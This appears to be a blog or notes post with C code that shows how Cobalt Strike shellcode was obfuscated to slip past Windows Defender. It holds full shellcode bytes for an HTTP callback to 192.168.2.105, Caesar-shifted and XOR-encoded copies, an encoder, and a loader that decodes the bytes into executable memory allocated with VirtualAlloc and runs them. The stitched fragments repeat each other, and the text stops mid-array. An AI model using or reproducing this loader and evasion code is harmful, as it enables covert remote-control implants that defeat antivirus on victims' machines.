  // unsigned char array[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x90\x1f\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x55\x6e\x71\x75\x65\x75\x65\x2f\x76\x31\x30\x2e\x30\x35\x2f\x5a\x30\x51\x5a\x39\x5a\x58\x45\x58\x47\x45\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x41\x63\x63\x65\x70\x74\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6a\x73\x6f\x6e\x2c\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x2c\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x68\x74\x6d\x6c\x2b\x78\x6d\x6c\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x73\x71\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64\x69\x6e\x67\x3a\x20\x67\x7a\x69\x70\x2c\x20\x62\x72\x0d\x0a\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x31\x30\x2e\x30\x3b\x20\x57\x69\x6e\x36\x34\x3b\x20\x78\x36\x34\x29\x20\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36\x20\x28\x4b\x48\x54\x4d\x4c\x2c\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x29\x20\x43\x68\x72\x6f\x6d\x65\x2f\x36\x32\x2e\x30\x2e\x33\x32\x30\x32\x2e\x39\x34\x20\x53\x61\x66\x61\x72\x69\x2f\x35\x33\x37\x2e\x33\x36\x0d\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\xa1\x03\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x2e\x31\x30\x35\x00\x00\x00\x00\x00";
  
  // This is the array generated by CS after running through my ceaser cipher, which does not get detected on disk
  unsigned char shiftedArray[] = "\xfd\x49\x84\xe5\xf1\xe9\xc9\x1\x1\x1\x42\x52\x42\x51\x53\x52\x57\x49\x32\xd3\x66\x49\x8c\x53\x61\x49\x8c\x53\x19\x49\x8c\x53\x21\x49\x8c\x73\x51\x49\x10\xb8\x4b\x4b\x4e\x32\xca\x49\x32\xc1\xad\x3d\x62\x7d\x3\x2d\x21\x42\xc2\xca\xe\x42\x2\xc2\xe3\xee\x53\x42\x52\x49\x8c\x53\x21\x8c\x43\x3d\x49\x2\xd1\x67\x82\x79\x19\xc\x3\x76\x73\x8c\x81\x89\x1\x1\x1\x49\x86\xc1\x75\x68\x49\x2\xd1\x51\x8c\x49\x19\x45\x8c\x41\x21\x4a\x2\xd1\xe4\x57\x49\x0\xca\x42\x8c\x35\x89\x49\x2\xd7\x4e\x32\xca\x49\x32\xc1\xad\x42\xc2\xca\xe\x42\x2\xc2\x39\xe1\x76\xf2\x4d\x4\x4d\x25\x9\x46\x3a\xd2\x76\xd9\x59\x45\x8c\x41\x25\x4a\x2\xd1\x67\x42\x8c\xd\x49\x45\x8c\x41\x1d\x4a\x2\xd1\x42\x8c\x5\x89\x49\x2\xd1\x42\x59\x42\x59\x5f\x5a\x5b\x42\x59\x42\x5a\x42\x5b\x49\x84\xed\x21\x42\x53\x0\xe1\x59\x42\x5a\x5b\x49\x8c\x13\xea\x50\x0\x0\x0\x5e\x6b\x1\x4a\xbf\x78\x6a\x6f\x6a\x6f\x66\x75\x1\x42\x57\x4a\x8a\xe7\x4d\x8a\xf2\x42\xbb\x4d\x78\x27\x8\x0\xd6\x49\x32\xca\x49\x32\xd3\x4e\x32\xc1\x4e\x32\xca\x42\x51\x42\x51\x42\xbb\x3b\x57\x7a\xa8\x0\xd6\xec\x74\x5b\x49\x8a\xc2\x42\xb9\x91\x20\x1\x1\x4e\x32\xca\x42\x52\x42\x52\x6b\x4\x42\x52\x42\xbb\x58\x8a\xa0\xc7\x0\xd6\xec\x5a\x5c\x49\x8a\xc2\x49\x32\xd3\x4a\x8a\xd9\x4e\x32\xca\x53\x69\x1\x3\x41\x85\x53\x53\x42\xbb\xec\x56\x2f\x3c\x0\xd6\x49\x8a\xc7\x49\x84\xc4\x51\x6b\xb\x60\x49\x8a\xf2\x49\x8a\xdb\x4a\xc8\xc1\x0\x0\x0\x0\x4e\x32\xca\x53\x53\x42\xbb\x2e\x7\x19\x7c\x0\xd6\x86\xc1\x10\x86\x9e\x2\x1\x1\x49\x0\xd0\x10\x85\x8d\x2\x1\x1\xec\xd4\xea\xe5\x2\x1\x1\xe9\xa3\x0\x0\x0\x30\x56\x6f\x72\x76\x66\x76\x66\x30\x77\x32\x31\x2f\x31\x36\x30\x5b\x31\x52\x5b\x3a\x5b\x59\x46\x59\x48\x46\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x42\x64\x64\x66\x71\x75\x3b\x21\x62\x71\x71\x6d\x6a\x64\x62\x75\x6a\x70\x6f\x30\x6b\x74\x70\x6f\x2d\x21\x75\x66\x79\x75\x30\x69\x75\x6e\x6d\x2d\x21\x62\x71\x71\x6d\x6a\x64\x62\x75\x6a\x70\x6f\x30\x79\x69\x75\x6e\x6d\x2c\x79\x6e\x6d\xe\xb\x42\x64\x64\x66\x71\x75\x2e\x4d\x62\x6f\x68\x76\x62\x68\x66\x3b\x21\x74\x72\xe\xb\x42\x64\x64\x66\x71\x75\x2e\x46\x6f\x64\x70\x65\x6a\x6f\x68\x3b\x21\x68\x7b\x6a\x71\x2d\x21\x63\x73\xe\xb\x56\x74\x66\x73\x2e\x42\x68\x66\x6f\x75\x3b\x21\x4e\x70\x7b\x6a\x6d\x6d\x62\x30\x36\x2f\x31\x21\x29\x58\x6a\x6f\x65\x70\x78\x74\x21\x4f\x55\x21\x32\x31\x2f\x31\x3c\x21\x58\x6a\x6f\x37\x35\x3c\x21\x79\x37\x35\x2a\x21\x42\x71\x71\x6d\x66\x58\x66\x63\x4c\x6a\x75\x30\x36\x34\x38\x2f\x34\x37\x21\x29\x4c\x49\x55\x4e\x4d\x2d\x21\x6d\x6a\x6c\x66\x21\x48\x66\x64\x6c\x70\x2a\x21\x44\x69\x73\x70\x6e\x66\x30\x37\x33\x2f\x31\x2f\x34\x33\x31\x33\x2f\x3a\x35\x21\x54\x62\x67\x62\x73\x6a\x30\x36\x34\x38\x2f\x34\x37\xe\xb\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x42\xbf\xf1\xb6\xa3\x57\x0\xd6\x49\x32\xca\xbb\x1\x1\x41\x1\x42\xb9\x1\x11\x1\x1\x42\xba\x41\x1\x1\x1\x42\xbb\x59\xa5\x54\xe6\x0\xd6\x49\x94\x54\x54\x49\x8a\xe8\x49\x8a\xf2\x49\x8a\xdb\x42\xb9\x1\x21\x1\x1\x4a\x8a\xfa\x42\xbb\x13\x97\x8a\xe3\x0\xd6\x49\x84\xc5\x21\x86\xc1\x75\xb7\x67\x8c\x8\x49\x2\xc4\x86\xc1\x76\xd8\x59\x59\x59\x49\x6\xa2\x4\x1\x1\x51\xc4\xe9\xa0\xfe\x0\x0\x32\x3a\x33\x2f\x32\x37\x39\x2f\x33\x2f\x32\x31\x36\x1\x1\x1\x1\x1\x1";
  
  // Storage for the new array after being shifted in memory
  unsigned char newArray[sizeof(shiftedArray)];

  // Iterate over each byte in the shifted array
  for(short i = 0; i < sizeof(shiftedArray); i++) {
    short current = shiftedArray[i];

    // Decrement by 1 or roll over to stay within eight bits
    if(current > 0) {
      current -= 1;
    } else {
      current = 255;
    }

    // Store reshifted values
    newArray[i] = current;
  }

  // For those unfamiliar with VirtualAlloc (like me five minutes ago), see
  // https://docs.microsoft.com/en-us/windows/win32/memory/reserving-and-committing-memory
  void *exec = VirtualAlloc(
    0,              // The next page to commit (this)
    sizeof newArray,      // Set the page size to the size of the CS array
    MEM_COMMIT,         // Push the next page
    PAGE_EXECUTE_READWRITE    // Allow execute, read, and write permissions
  );

  // The reshifted bytes can now be copied to exec for execution
  // https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/memmove-wmemmove
  memcpy(
    exec,     // Copying into exec (the memory space)
    newArray,     // From the whole array
    sizeof newArray // With a length of the array (obviously)
  );

  // Execute the code in the reserved memory location
  ((void(*)())exec)();
  
  return 0;
}

This got detected upon compilation, leading me to initially suspect VirtualAlloc and memcpy as being flagged for unsafe use. However, it was actually my reconstruction section. After all, my method was quite simple.

I decided to rewrite it as follows:

#include <stdio.h>

int main() {
  // Original CS shellcode
  unsigned char array[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x90\x1f\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x55\x6e\x71\x75\x65\x75\x65\x2f\x76\x31\x30\x2e\x30\x35\x2f\x5a\x30\x51\x5a\x39\x5a\x58\x45\x58\x47\x45\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x41\x63\x63\x65\x70\x74\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6a\x73\x6f\x6e\x2c\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x2c\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x68\x74\x6d\x6c\x2b\x78\x6d\x6c\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x73\x71\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64\x69\x6e\x67\x3a\x20\x67\x7a\x69\x70\x2c\x20\x62\x72\x0d\x0a\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x31\x30\x2e\x30\x3b\x20\x57\x69\x6e\x36\x34\x3b\x20\x78\x36\x34\x29\x20\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36\x20\x28\x4b\x48\x54\x4d\x4c\x2c\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x29\x20\x43\x68\x72\x6f\x6d\x65\x2f\x36\x32\x2e\x30\x2e\x33\x32\x30\x32\x2e\x39\x34\x20\x53\x61\x66\x61\x72\x69\x2f\x35\x33\x37\x2e\x33\x36\x0d\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\xa1\x03\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x2e\x31\x30\x35\x00\x00\x00\x00\x00";

  // Copy/paste wrapper
  printf("\nunsigned char shiftedArray[] = \"");

  //  Iterate over each byte in the array
  for(short i = 0; i < sizeof(array); i++) {
    short current = array[i];

    // Increment by 1 or roll over to stay within eight bits
    if(current < 255) {
      current += 1;
    } else {
      current = 0;
    }

    // Write to STDOUT

    // XOR with 7
    current ^= 7;

    printf("\\x%x", current);
  }

  // Copy/paste wrapper
  printf("\";\n\n");

  return 0;
}
// Rotates shellcode bytes in memory to avoid on-disk detection by Windows Defender
// Idea from https://www.ired.team/offensive-security/defense-evasion/evading-windows-defender-using-classic-c-shellcode-launcher-with-1-byte-change

#include <windows.h>

int main() {
  // This is the array generated by CS, which gets detected instantly by Defender
  // unsigned char array[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x90\x1f\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x55\x6e\x71\x75\x65\x75\x65\x2f\x76\x31\x30\x2e\x30\x35\x2f\x5a\x30\x51\x5a\x39\x5a\x58\x45\x58\x47\x45\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x41\x63\x63\x65\x70\x74\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6a\x73\x6f\x6e\x2c\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x2c\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x68\x74\x6d\x6c\x2b\x78\x6d\x6c\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x73\x71\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64\x69\x6e\x67\x3a\x20\x67\x7a\x69\x70\x2c\x20\x62\x72\x0d\x0a\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x31\x30\x2e\x30\x3b\x20\x57\x69\x6e\x36\x34\x3b\x20\x78\x36\x34\x29\x20\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36\x20\x28\x4b\x48\x54\x4d\x4c\x2c\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x29\x20\x43\x68\x72\x6f\x6d\x65\x2f\x36\x32\x2e\x30\x2e\x33\x32\x30\x32\x2e\x39\x34\x20\x53\x61\x66\x61\x72\x69\x2f\x35\x33\x37\x2e\x33\x36\x0d\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\xa1\x03\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x2e\x31\x30\x35\x00\x00\x00\x00\x00";

  // This is the array generated by CS after running through my ceaser cipher and XOR, which does not get detected on disk
  unsigned char shiftedArray[] = "\xfd\x49\x84\xe5\xf1\xe9\xc9\x1\x1\x1\x42\x52\x42\x51\x53\x52\x57\x49\x32\xd3\x66\x49\x8c\x53\x61\x49\x8c\x53\x19\x49\x8c\x53\x21\x49\x8c\x73\x51\x49\x10\xb8\x4b\x4b\x4e\x32\xca\x49\x32\xc1\xad\x3d\x62\x7d\x3\x2d\x21\x42\xc2\xca\xe\x42\x2\xc2\xe3\xee\x53\x42\x52\x49\x8c\x53\x21\x8c\x43\x3d\x49\x2\xd1\x67\x82\x79\x19\xc\x3\x76\x73\x8c\x81\x89\x1\x1\x1\x49\x86\xc1\x75\x68\x49\x2\xd1\x51\x8c\x49\x19\x45\x8c\x41\x21\x4a\x2\xd1\xe4\x57\x49\x0\xca\x42\x8c\x35\x89\x49\x2\xd7\x4e\x32\xca\x49\x32\xc1\xad\x42\xc2\xca\xe\x42\x2\xc2\x39\xe1\x76\xf2\x4d\x4\x4d\x25\x9\x46\x3a\xd2\x76\xd9\x59\x45\x8c\x41\x25\x4a\x2\xd1\x67\x42\x8c\xd\x49\x45\x8c\x41\x1d\x4a\x2\xd1\x42\x8c\x5\x89\x49\x2\xd1\x42\x59\x42\x59\x5f\x5a\x5b\x42\x59\x42\x5a\x42\x5b\x49\x84\xed\x21\x42\x53\x0\xe1\x59\x42\x5a\x5b\x49\x8c\x13\xea\x50\x0\x0\x0\x5e\x6b\x1\x4a\xbf\x78\x6a\x6f\x6a\x6f\x66\x75\x1\x42\x57\x4a\x8a\xe7\x4d\x8a\xf2\x42\xbb\x4d\x78\x27\x8\x0\xd6\x49\x32\xca\x49\x32\xd3\x4e\x32\xc1\x4e\x32\xca\x42\x51\x42\x51\x42\xbb\x3b\x57\x7a\xa8\x0\xd6\xec\x74\x5b\x49\x8a\xc2\x42\xb9\x91\x20\x1\x1\x4e\x32\xca\x42\x52\x42\x52\x6b\x4\x42\x52\x42\xbb\x58\x8a\xa0\xc7\x0\xd6\xec\x5a\x5c\x49\x8a\xc2\x49\x32\xd3\x4a\x8a\xd9\x4e\x32\xca\x53\x69\x1\x3\x41\x85\x53\x53\x42\xbb\xec\x56\x2f\x3c\x0\xd6\x49\x8a\xc7\x49\x84\xc4\x51\x6b\xb\x60\x49\x8a\xf2\x49\x8a\xdb\x4a\xc8\xc1\x0\x0\x0\x0\x4e\x32\xca\x53\x53\x42\xbb\x2e\x7\x19\x7c\x0\xd6\x86\xc1\x10\x86\x9e\x2\x1\x1\x49\x0\xd0\x10\x85\x8d\x2\x1\x1\xec\xd4\xea\xe5\x2\x1\x1\xe9\xa3\x0\x0\x0\x30\x56\x6f\x72\x76\x66\x76\x66\x30\x77\x32\x31\x2f\x31\x36\x30\x5b\x31\x52\x5b\x3a\x5b\x59\x46\x59\x48\x46\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x42\x64\x64\x66\x71\x75\x3b\x21\x62\x71\x71\x6d\x6a\x64\x62\x75\x6a\x70\x6f\x30\x6b\x74\x70\x6f\x2d\x21\x75\x66\x79\x75\x30\x69\x75\x6e\x6d\x2d\x21\x62\x71\x71\x6d\x6a\x64\x62\x75\x6a\x70\x6f\x30\x79\x69\x75\x6e\x6d\x2c\x79\x6e\x6d\xe\xb\x42\x64\x64\x66\x71\x75\x2e\x4d\x62\x6f\x68\x76\x62\x68\x66\x3b\x21\x74\x72\xe\xb\x42\x64\x64\x66\x71\x75\x2e\x46\x6f\x64\x70\x65\x6a\x6f\x68\x3b\x21\x68\x7b\x6a\x71\x2d\x21\x63\x73\xe\xb\x56\x74\x66\x73\x2e\x42\x68\x66\x6f\x75\x3b\x21\x4e\x70\x7b\x6a\x6d\x6d\x62\x30\x36\x2f\x31\x21\x29\x58\x6a\x6f\x65\x70\x78\x74\x21\x4f\x55\x21\x32\x31\x2f\x31\x3c\x21\x58\x6a\x6f\x37\x35\x3c\x21\x79\x37\x35\x2a\x21\x42\x71\x71\x6d\x66\x58\x66\x63\x4c\x6a\x75\x30\x36\x34\